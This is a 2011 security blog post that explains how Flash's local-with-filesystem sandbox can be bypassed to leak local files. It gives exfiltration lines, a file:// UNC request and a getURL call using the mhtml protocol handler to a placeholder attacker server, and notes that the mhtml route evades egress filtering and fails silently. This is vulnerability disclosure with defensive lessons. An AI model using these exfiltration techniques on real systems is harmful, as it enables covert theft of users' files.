Monday, January 3, 2011

Bypassing Flash’s local-with-filesystem Sandbox

A few weeks ago, I posted a description of a set of bugs that could be chained together to do “bad things”.  In the PoC I provided, a SWF file reads an arbitrary file from the victim's local file system and passes the stolen content to an attacker's server.

One of the readers (PZ) had a question about the SWFs local-with-filesystem sandbox, which should prevent SWFs loaded from the local file system from passing data to remote systems.  Looking at the documentation related to the sandbox, we see the following:
Local file describes any file that is referenced by using the file: protocol or a Universal Naming Convention (UNC) path. Local SWF files are placed into one of four local sandboxes:

The local-with-filesystem sandbox—For security purposes, Flash Player places all local SWF files and assets in the local-with-file-system sandbox, by default. From this sandbox, SWF files can read local files (by using the URLLoader class, for example), but they cannot communicate with the network in any way. This assures the user that local data cannot be leaked out to the network or otherwise inappropriately shared.

First, I think the documentation here is a bit too generous.  SWFs loaded from the local file system do face some restrictions.  The most relevant restrictions are probably:

  1. The SWF cannot make a call to JavaScript (or vbscript), either through URL or ExternalInterface

  2. The SWF cannot call a HTTP or HTTPS request.

  3. Querystring parameters (ex. Blah.php?querystring=qs-value) are stripped and will not be passed (even for requests to local files)


Unfortunately, these restrictions are not the same as, “cannot communicate with the network in any way” which is what is stated in the documentation.  The simplest way to bypass the local-with-filesystem sandbox is to simply use a file:// request to a remote server.  For example, after loading the content from the local file system an attacker can simply pass the contents to the attacker server via getURL() and a url like:  file://\\192.168.1.1\stolen-data-here\

Fortunately, it seems you can only pass IPs and hostnames for system on the local network (RFC 1918 addresses).  If an attacker wants to send data to a remote server on the Internet we’ll have to resort to a couple other tricks.  A while back, I put up a post on the dangers of blacklisting protocol handlers.  It's basically impossible to create a list of "bad" protocol handlers in siutation like this.  In the case of the local-with-filesystem sandbox, Adobe has decided to prevent network access through the use of protocol handler blacklists.  If we can find a protocol handler that hasn’t been blacklisted by Adobe and allows for network communication, we win. 

There are a large number of protocol handlers that meet the criteria outlined in the previous sentence, but we’ll use the mhtml protocol handler as an example.  The mhtml protocol handler is available on modern Windows systems, can be used without any prompts, and is not blacklisted by Flash.  Using the mhtml protocol handler, it’s easy to bypass the Flash sandbox:

getURL('mhtml:http://attacker-server.com/stolen-data-here', '');

Some other benefits for using the mhtml protocol handler are:

  1. The request goes over http/https and port 80/443 so it will get past most egress filtering

  2. If the request results in a 404, it will silently fail.  The data will still be transmitted to the attackers server, but the victim will never see an indication of the transfer

  3. The protocol handler is available by default on Win7 and will launch with no protocol handler warning


There you go, an easy way to bypass Flash’s local-with-file system sandbox.  Two lessons here.  One, running un-trusted code (whether it’s an executable, javascript, or even a swf) is dangerous.  Two, protocol handler blacklists are bad.  Hope this helps PZ!